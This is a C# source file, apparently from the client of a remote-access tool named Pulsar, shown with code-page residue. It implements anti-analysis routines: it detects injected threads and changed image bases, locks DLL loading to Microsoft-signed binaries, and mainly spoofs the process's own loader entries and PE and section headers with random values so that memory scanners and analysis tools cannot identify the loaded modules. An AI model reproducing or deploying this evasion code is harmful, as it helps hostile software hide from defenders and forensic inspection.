412 lines
21 KiB
C#
412 lines
21 KiB
C#
using Pulsar.Client.Anti.Helper;
|
|
using System;
|
|
using System.Collections.Generic;
|
|
using System.Diagnostics;
|
|
using System.Linq;
|
|
using System.Runtime.InteropServices;
|
|
using System.Text;
|
|
using System.Threading.Tasks;
|
|
using static Pulsar.Client.Anti.Helper.Structs;
|
|
|
|
namespace Pulsar.Client.Anti.Injection
|
|
{
|
|
public static class Spoofs
|
|
{
|
|
public const int BaseAddress = 1 << 0;
|
|
public const int ModuleName = 1 << 1;
|
|
public const int AddressOfEntryPoint = 1 << 2;
|
|
public const int SizeOfImage = 1 << 3;
|
|
public const int NumberOfSections = 1 << 4;
|
|
public const int ImageMagic = 1 << 5;
|
|
public const int NotExecutableNorDll = 1 << 6;
|
|
public const int PESignature = 1 << 7;
|
|
public const int ExecutableSectionName = 1 << 8;
|
|
public const int ExecutableSectionRawSize = 1 << 9;
|
|
public const int ExecutableSectionRawPointer = 1 << 10;
|
|
public const int ClearExecutableSectionCharacteristics = 1 << 11;
|
|
public const int ExecutableSectionVirtualSize = 1 << 12;
|
|
}
|
|
|
|
public class AntiInjection
|
|
{
|
|
|
|
#region WinApi
|
|
|
|
[DllImport("kernelbase.dll", SetLastError = true)]
|
|
private static extern IntPtr GetModuleHandle(string lib);
|
|
|
|
[DllImport("kernelbase.dll", SetLastError = true)]
|
|
private static extern IntPtr GetProcAddress(IntPtr ModuleHandle, string Function);
|
|
|
|
[DllImport("kernelbase.dll", SetLastError = true)]
|
|
private static extern bool WriteProcessMemory(SafeHandle hProcess, IntPtr BaseAddress, byte[] Buffer, uint size, int NumOfBytes);
|
|
|
|
[DllImport("kernelbase.dll", SetLastError = true)]
|
|
public static extern bool SetProcessMitigationPolicy(int policy, ref Structs.PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY lpBuffer, int size);
|
|
|
|
[DllImport("ntdll.dll", SetLastError = true)]
|
|
private static extern uint NtOpenThread(out IntPtr hThread, uint dwDesiredAccess, ref Structs.OBJECT_ATTRIBUTES ObjectAttributes, ref Structs.CLIENT_ID ClientID);
|
|
|
|
[DllImport("ntdll.dll", SetLastError = true)]
|
|
private static extern int NtQueryInformationThread(IntPtr ThreadHandle, int ThreadInformationClass, ref IntPtr ThreadInformation, uint ThreadInformationLength, IntPtr ReturnLength);
|
|
|
|
#endregion
|
|
|
|
/// <summary>
|
|
/// Sets the DLL load policy to only allow Microsoft-signed DLLs to be loaded.
|
|
/// </summary>
|
|
/// <returns>Returns "Success" if the policy was set successfully, otherwise "Failed".</returns>
|
|
public static string SetDllLoadPolicy()
|
|
{
|
|
Structs.PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY policy = new Structs.PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY
|
|
{
|
|
MicrosoftSignedOnly = 1
|
|
};
|
|
if (SetProcessMitigationPolicy(8, ref policy, Marshal.SizeOf(policy)))
|
|
return "Success";
|
|
return "Failed";
|
|
}
|
|
|
|
/// <summary>
|
|
/// Detects if an address is in range inside modules or not.
|
|
/// </summary>
|
|
/// <param name="Address">The address to check for.</param>
|
|
/// <returns>Returns true if the address is in no module, otherwise false.</returns>
|
|
private static bool IsAddressInRange(IntPtr Address)
|
|
{
|
|
foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
|
|
{
|
|
IntPtr Base = module.BaseAddress;
|
|
IntPtr End = IntPtr.Add(Base, module.ModuleMemorySize);
|
|
if (Address.ToInt64() >= Base.ToInt64() && Address.ToInt64() < End.ToInt64())
|
|
{
|
|
return true;
|
|
}
|
|
}
|
|
return false;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Detects if an address is in range inside modules or not.
|
|
/// </summary>
|
|
/// <param name="Syscall">Specifies whether we use syscalls for the check or not.</param>
|
|
/// <param name="CheckModuleRange">Check if the threads start address is within modules range or not.</param>
|
|
/// <returns>Returns true if no thread is injected, otherwise false.</returns>
|
|
public static bool CheckInjectedThreads()
|
|
{
|
|
|
|
uint MEM_IMAGE = 0x1000000;
|
|
uint MEM_COMMIT = 0x1000;
|
|
int ThreadQuerySetWin32StartAddress = 9;
|
|
uint THREAD_QUERY_INFORMATION = 0x0040;
|
|
int PID = Process.GetCurrentProcess().Id;
|
|
foreach (ProcessThread thread in Process.GetCurrentProcess().Threads)
|
|
{
|
|
CLIENT_ID CI = new CLIENT_ID
|
|
{
|
|
UniqueProcess = (IntPtr)PID,
|
|
UniqueThread = (IntPtr)thread.Id
|
|
};
|
|
|
|
OBJECT_ATTRIBUTES Attributes = new OBJECT_ATTRIBUTES
|
|
{
|
|
Length = Marshal.SizeOf(typeof(OBJECT_ATTRIBUTES)),
|
|
RootDirectory = IntPtr.Zero,
|
|
ObjectName = IntPtr.Zero,
|
|
Attributes = 0,
|
|
SecurityDescriptor = IntPtr.Zero,
|
|
SecurityQualityOfService = IntPtr.Zero
|
|
};
|
|
|
|
IntPtr hThread = IntPtr.Zero;
|
|
uint Status = NtOpenThread(out hThread, THREAD_QUERY_INFORMATION, ref Attributes, ref CI);
|
|
if (Status == 0 || hThread != IntPtr.Zero)
|
|
{
|
|
IntPtr StartAddress = IntPtr.Zero;
|
|
int QueryStatus = NtQueryInformationThread(hThread, ThreadQuerySetWin32StartAddress, ref StartAddress, (uint)IntPtr.Size, IntPtr.Zero);
|
|
Utils.CloseHandle(hThread);
|
|
if (QueryStatus == 0)
|
|
{
|
|
MEMORY_BASIC_INFORMATION MBI = new MEMORY_BASIC_INFORMATION();
|
|
if (Utils.GetVirtualMemoryQuery(false, StartAddress, ref MBI, out _))
|
|
{
|
|
if (MBI.Type != MEM_IMAGE || MBI.State != MEM_COMMIT)
|
|
{
|
|
return true;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
return false;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Generate a random module name.
|
|
/// </summary>
|
|
/// <returns>the random module name.</returns>
|
|
private static string GenerateRandomString()
|
|
{
|
|
string Letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
|
|
Random random = new Random();
|
|
int RandomLength = random.Next(6, 32);
|
|
char[] NewModule = new char[RandomLength];
|
|
for (int i = 0; i < RandomLength; i++)
|
|
{
|
|
NewModule[i] = Letters[random.Next(Letters.Length)];
|
|
}
|
|
return new string(NewModule);
|
|
}
|
|
|
|
private static bool IsFlagsSet(int SpoofOptions, int[] spoofs)
|
|
{
|
|
foreach (int spoofa in spoofs)
|
|
{
|
|
if ((SpoofOptions & spoofa) == spoofa)
|
|
return true;
|
|
}
|
|
return false;
|
|
}
|
|
|
|
private static bool IsPE_FlagsSet(int SpoofOptions)
|
|
{
|
|
int[] spoofs = {
|
|
Spoofs.AddressOfEntryPoint, Spoofs.SizeOfImage, Spoofs.ExecutableSectionRawSize,
|
|
Spoofs.ExecutableSectionRawPointer, Spoofs.PESignature, Spoofs.ImageMagic,
|
|
Spoofs.NotExecutableNorDll, Spoofs.NumberOfSections, Spoofs.ClearExecutableSectionCharacteristics,
|
|
Spoofs.ExecutableSectionVirtualSize
|
|
};
|
|
return IsFlagsSet(SpoofOptions, spoofs);
|
|
}
|
|
|
|
/// <summary>
|
|
/// Changes the module information at runtime to avoid modification/lookups.
|
|
/// </summary>
|
|
/// <param name="ModuleName">The module name which we will change it's information. if left null, we get the main module of the process.</param>
|
|
/// <param name="SpoofOptions">The spoofing options to apply.</param>
|
|
/// <returns>Returns true if successfully changed the module info, otherwise false.</returns>
|
|
public static bool ChangeModuleInfo(string ModuleName, int SpoofOptions)
|
|
{
|
|
try
|
|
{
|
|
string FinalModuleName = ModuleName ?? Process.GetCurrentProcess().MainModule.ModuleName;
|
|
if (string.IsNullOrEmpty(FinalModuleName))
|
|
return false;
|
|
|
|
IntPtr hModule = Utils.LowLevelGetModuleHandle(FinalModuleName);
|
|
if (hModule == IntPtr.Zero)
|
|
return false;
|
|
|
|
string Fake = $"{GenerateRandomString()}.dll";
|
|
PEB Peb = Utils.GetPEB();
|
|
_PEB_LDR_DATA Ldr = Marshal.PtrToStructure<_PEB_LDR_DATA>(Peb.Ldr);
|
|
IntPtr f = Ldr.InMemoryOrderModuleList.Flink;
|
|
Random RandGen = new Random();
|
|
|
|
for (int count = 0; count < 256 && f != IntPtr.Zero; count++)
|
|
{
|
|
_LDR_DATA_TABLE_ENTRY TableEntry = Marshal.PtrToStructure<_LDR_DATA_TABLE_ENTRY>(f);
|
|
string ModuleNameBuffer = Marshal.PtrToStringUni(TableEntry.FullDllName.Buffer);
|
|
|
|
if (!string.IsNullOrEmpty(ModuleNameBuffer) && ModuleNameBuffer == FinalModuleName)
|
|
{
|
|
if (IsPE_FlagsSet(SpoofOptions))
|
|
{
|
|
int[] SectionSpoof = {
|
|
Spoofs.ExecutableSectionName, Spoofs.ExecutableSectionRawPointer,
|
|
Spoofs.ExecutableSectionRawSize, Spoofs.ClearExecutableSectionCharacteristics, Spoofs.ExecutableSectionVirtualSize
|
|
};
|
|
|
|
IMAGE_DOS_HEADER dosHeader = Marshal.PtrToStructure<IMAGE_DOS_HEADER>(hModule);
|
|
IntPtr pNtHeaders = IntPtr.Add(hModule, dosHeader.e_lfanew);
|
|
|
|
if (IntPtr.Size == 8)
|
|
{
|
|
IMAGE_NT_HEADERS64 NtHeadersStruct = Marshal.PtrToStructure<IMAGE_NT_HEADERS64>(pNtHeaders);
|
|
if ((SpoofOptions & Spoofs.AddressOfEntryPoint) == Spoofs.AddressOfEntryPoint)
|
|
NtHeadersStruct.OptionalHeader.AddressOfEntryPoint = (uint)RandGen.Next(0x1000, 0x2000);
|
|
|
|
if ((SpoofOptions & Spoofs.NumberOfSections) == Spoofs.NumberOfSections)
|
|
NtHeadersStruct.FileHeader.NumberOfSections = (ushort)RandGen.Next(NtHeadersStruct.FileHeader.NumberOfSections, NtHeadersStruct.FileHeader.NumberOfSections + 99);
|
|
|
|
if ((SpoofOptions & Spoofs.ImageMagic) == Spoofs.ImageMagic)
|
|
NtHeadersStruct.OptionalHeader.Magic = (ushort)RandGen.Next(0, int.MaxValue);
|
|
|
|
if ((SpoofOptions & Spoofs.SizeOfImage) == Spoofs.SizeOfImage)
|
|
NtHeadersStruct.OptionalHeader.SizeOfImage = (uint)RandGen.Next((int)NtHeadersStruct.OptionalHeader.SizeOfImage, (int)(NtHeadersStruct.OptionalHeader.SizeOfImage + 0x10000));
|
|
|
|
if ((SpoofOptions & Spoofs.NotExecutableNorDll) == Spoofs.NotExecutableNorDll)
|
|
{
|
|
ushort IMAGE_FILE_EXECUTABLE_IMAGE = 0x0002;
|
|
ushort IMAGE_FILE_DLL = 0x2000;
|
|
NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_EXECUTABLE_IMAGE;
|
|
NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_DLL;
|
|
}
|
|
|
|
if ((SpoofOptions & Spoofs.PESignature) == Spoofs.PESignature)
|
|
NtHeadersStruct.Signature = 0x4D5A0000;
|
|
|
|
if (IsFlagsSet(SpoofOptions, SectionSpoof))
|
|
{
|
|
IntPtr pSectionHeaders = IntPtr.Add(pNtHeaders, sizeof(uint) + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) + NtHeadersStruct.FileHeader.SizeOfOptionalHeader); //defined in here for now
|
|
IntPtr pSectionHeader = pSectionHeaders;
|
|
int SectionSize = Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER));
|
|
|
|
for (int i = 0; i < NtHeadersStruct.FileHeader.NumberOfSections; i++)
|
|
{
|
|
IMAGE_SECTION_HEADER SectionHeader = Marshal.PtrToStructure<IMAGE_SECTION_HEADER>(pSectionHeader);
|
|
uint IMAGE_SCN_CNT_CODE = 0x00000020;
|
|
if ((SectionHeader.Characteristics & IMAGE_SCN_CNT_CODE) == IMAGE_SCN_CNT_CODE)
|
|
{
|
|
if ((SpoofOptions & Spoofs.ExecutableSectionName) == Spoofs.ExecutableSectionName)
|
|
SectionHeader.Name = Encoding.ASCII.GetBytes($".{GenerateRandomString()}");
|
|
|
|
if ((SpoofOptions & Spoofs.ExecutableSectionRawPointer) == Spoofs.ExecutableSectionRawPointer)
|
|
SectionHeader.PointerToRawData = (uint)RandGen.Next(0, int.MaxValue);
|
|
|
|
if ((SpoofOptions & Spoofs.ExecutableSectionRawSize) == Spoofs.ExecutableSectionRawSize)
|
|
SectionHeader.SizeOfRawData = (uint)RandGen.Next(0, int.MaxValue);
|
|
|
|
if ((SpoofOptions & Spoofs.ClearExecutableSectionCharacteristics) == Spoofs.ClearExecutableSectionCharacteristics)
|
|
SectionHeader.Characteristics = 0;
|
|
|
|
if ((SpoofOptions & Spoofs.ExecutableSectionVirtualSize) == Spoofs.ExecutableSectionVirtualSize)
|
|
SectionHeader.VirtualSize = (uint)RandGen.Next((int)SectionHeader.VirtualSize, (int)SectionHeader.VirtualSize + 0x10000);
|
|
|
|
Utils.WriteStructToPtr(SectionHeader, pSectionHeader, true, true);
|
|
break;
|
|
}
|
|
|
|
pSectionHeader = IntPtr.Add(pSectionHeader, SectionSize);
|
|
}
|
|
}
|
|
|
|
Utils.WriteStructToPtr(NtHeadersStruct, pNtHeaders, true, true);
|
|
}
|
|
else
|
|
{
|
|
IMAGE_NT_HEADERS32 NtHeadersStruct = Marshal.PtrToStructure<IMAGE_NT_HEADERS32>(pNtHeaders);
|
|
if ((SpoofOptions & Spoofs.AddressOfEntryPoint) == Spoofs.AddressOfEntryPoint)
|
|
NtHeadersStruct.OptionalHeader.AddressOfEntryPoint = (uint)RandGen.Next(0x1000, 0x2000);
|
|
|
|
if ((SpoofOptions & Spoofs.NumberOfSections) == Spoofs.NumberOfSections)
|
|
NtHeadersStruct.FileHeader.NumberOfSections = (ushort)RandGen.Next(NtHeadersStruct.FileHeader.NumberOfSections, NtHeadersStruct.FileHeader.NumberOfSections + 99);
|
|
|
|
if ((SpoofOptions & Spoofs.ImageMagic) == Spoofs.ImageMagic)
|
|
NtHeadersStruct.OptionalHeader.Magic = (ushort)RandGen.Next(0, int.MaxValue);
|
|
|
|
if ((SpoofOptions & Spoofs.SizeOfImage) == Spoofs.SizeOfImage)
|
|
NtHeadersStruct.OptionalHeader.SizeOfImage = (uint)RandGen.Next((int)NtHeadersStruct.OptionalHeader.SizeOfImage, (int)(NtHeadersStruct.OptionalHeader.SizeOfImage + 0x10000));
|
|
|
|
if ((SpoofOptions & Spoofs.NotExecutableNorDll) == Spoofs.NotExecutableNorDll)
|
|
{
|
|
ushort IMAGE_FILE_EXECUTABLE_IMAGE = 0x0002;
|
|
ushort IMAGE_FILE_DLL = 0x2000;
|
|
NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_EXECUTABLE_IMAGE;
|
|
NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_DLL;
|
|
}
|
|
|
|
if ((SpoofOptions & Spoofs.PESignature) == Spoofs.PESignature)
|
|
NtHeadersStruct.Signature = 0x4D5A0000;
|
|
|
|
if (IsFlagsSet(SpoofOptions, SectionSpoof))
|
|
{
|
|
IntPtr pSectionHeaders = IntPtr.Add(pNtHeaders, sizeof(uint) + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) + NtHeadersStruct.FileHeader.SizeOfOptionalHeader); //defined in here for now
|
|
IntPtr pSectionHeader = pSectionHeaders;
|
|
int SectionSize = Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER));
|
|
|
|
for (int i = 0; i < NtHeadersStruct.FileHeader.NumberOfSections; i++)
|
|
{
|
|
IMAGE_SECTION_HEADER SectionHeader = Marshal.PtrToStructure<IMAGE_SECTION_HEADER>(pSectionHeader);
|
|
uint IMAGE_SCN_CNT_CODE = 0x00000020;
|
|
if ((SectionHeader.Characteristics & IMAGE_SCN_CNT_CODE) == IMAGE_SCN_CNT_CODE)
|
|
{
|
|
if ((SpoofOptions & Spoofs.ExecutableSectionName) == Spoofs.ExecutableSectionName)
|
|
SectionHeader.Name = Encoding.ASCII.GetBytes($".{GenerateRandomString()}");
|
|
|
|
if ((SpoofOptions & Spoofs.ExecutableSectionRawPointer) == Spoofs.ExecutableSectionRawPointer)
|
|
SectionHeader.PointerToRawData = (uint)RandGen.Next(0, int.MaxValue);
|
|
|
|
if ((SpoofOptions & Spoofs.ExecutableSectionRawSize) == Spoofs.ExecutableSectionRawSize)
|
|
SectionHeader.SizeOfRawData = (uint)RandGen.Next(0, int.MaxValue);
|
|
|
|
if ((SpoofOptions & Spoofs.ClearExecutableSectionCharacteristics) == Spoofs.ClearExecutableSectionCharacteristics)
|
|
SectionHeader.Characteristics = 0;
|
|
|
|
if ((SpoofOptions & Spoofs.ExecutableSectionVirtualSize) == Spoofs.ExecutableSectionVirtualSize)
|
|
SectionHeader.VirtualSize = (uint)RandGen.Next((int)SectionHeader.VirtualSize, (int)SectionHeader.VirtualSize + 0x10000);
|
|
|
|
Utils.WriteStructToPtr(SectionHeader, pSectionHeader, true, true);
|
|
break;
|
|
}
|
|
|
|
pSectionHeader = IntPtr.Add(pSectionHeader, SectionSize);
|
|
}
|
|
}
|
|
|
|
Utils.WriteStructToPtr(NtHeadersStruct, pNtHeaders, true, true);
|
|
}
|
|
}
|
|
|
|
if ((SpoofOptions & Spoofs.BaseAddress) == Spoofs.BaseAddress)
|
|
{
|
|
TableEntry.DllBase = (IntPtr)(RandGen.Next(0x100000 / 0x1000, 0x7FFF000 / 0x1000) * 0x1000);
|
|
}
|
|
|
|
if ((SpoofOptions & Spoofs.ModuleName) == Spoofs.ModuleName)
|
|
{
|
|
IntPtr FakeDllBuffer = Marshal.StringToHGlobalUni(Fake);
|
|
TableEntry.FullDllName.Buffer = FakeDllBuffer;
|
|
TableEntry.FullDllName.Length = (ushort)(Fake.Length * 2);
|
|
TableEntry.FullDllName.MaximumLength = (ushort)((Fake.Length + 1) * 2);
|
|
}
|
|
|
|
Utils.WriteStructToPtr(TableEntry, f, true, true);
|
|
return true;
|
|
}
|
|
f = TableEntry.InLoadOrderLinks.Flink;
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
return false;
|
|
}
|
|
return false;
|
|
}
|
|
|
|
/// <summary>
|
|
/// Changes CLR Module ImageMagic to prevent critical info lookups.
|
|
/// </summary>
|
|
/// <returns>Returns true if successful, otherwise false.</returns>
|
|
public static bool ChangeCLRModuleImageMagic()
|
|
{
|
|
string CLR = Utils.GetCurrentCLRModuleName();
|
|
if (!string.IsNullOrEmpty(CLR))
|
|
{
|
|
return ChangeModuleInfo(CLR, Spoofs.ImageMagic);
|
|
}
|
|
return false;
|
|
}
|
|
|
|
|
|
/// <summary>
|
|
/// Detects ImageBaseAddress modification which could indicate code injection in our process (process hollowing).
|
|
/// </summary>
|
|
/// <returns>Returns true if the ImageBaseAddress is suspicious, otherwise false.</returns>
|
|
public static bool CheckForSuspiciousBaseAddress()
|
|
{
|
|
try
|
|
{
|
|
PEB Peb = Utils.GetPEB();
|
|
if (Peb.ImageBaseAddress != Process.GetCurrentProcess().MainModule.BaseAddress)
|
|
return true;
|
|
}
|
|
catch
|
|
{
|
|
|
|
}
|
|
return false;
|
|
}
|
|
}
|
|
}
|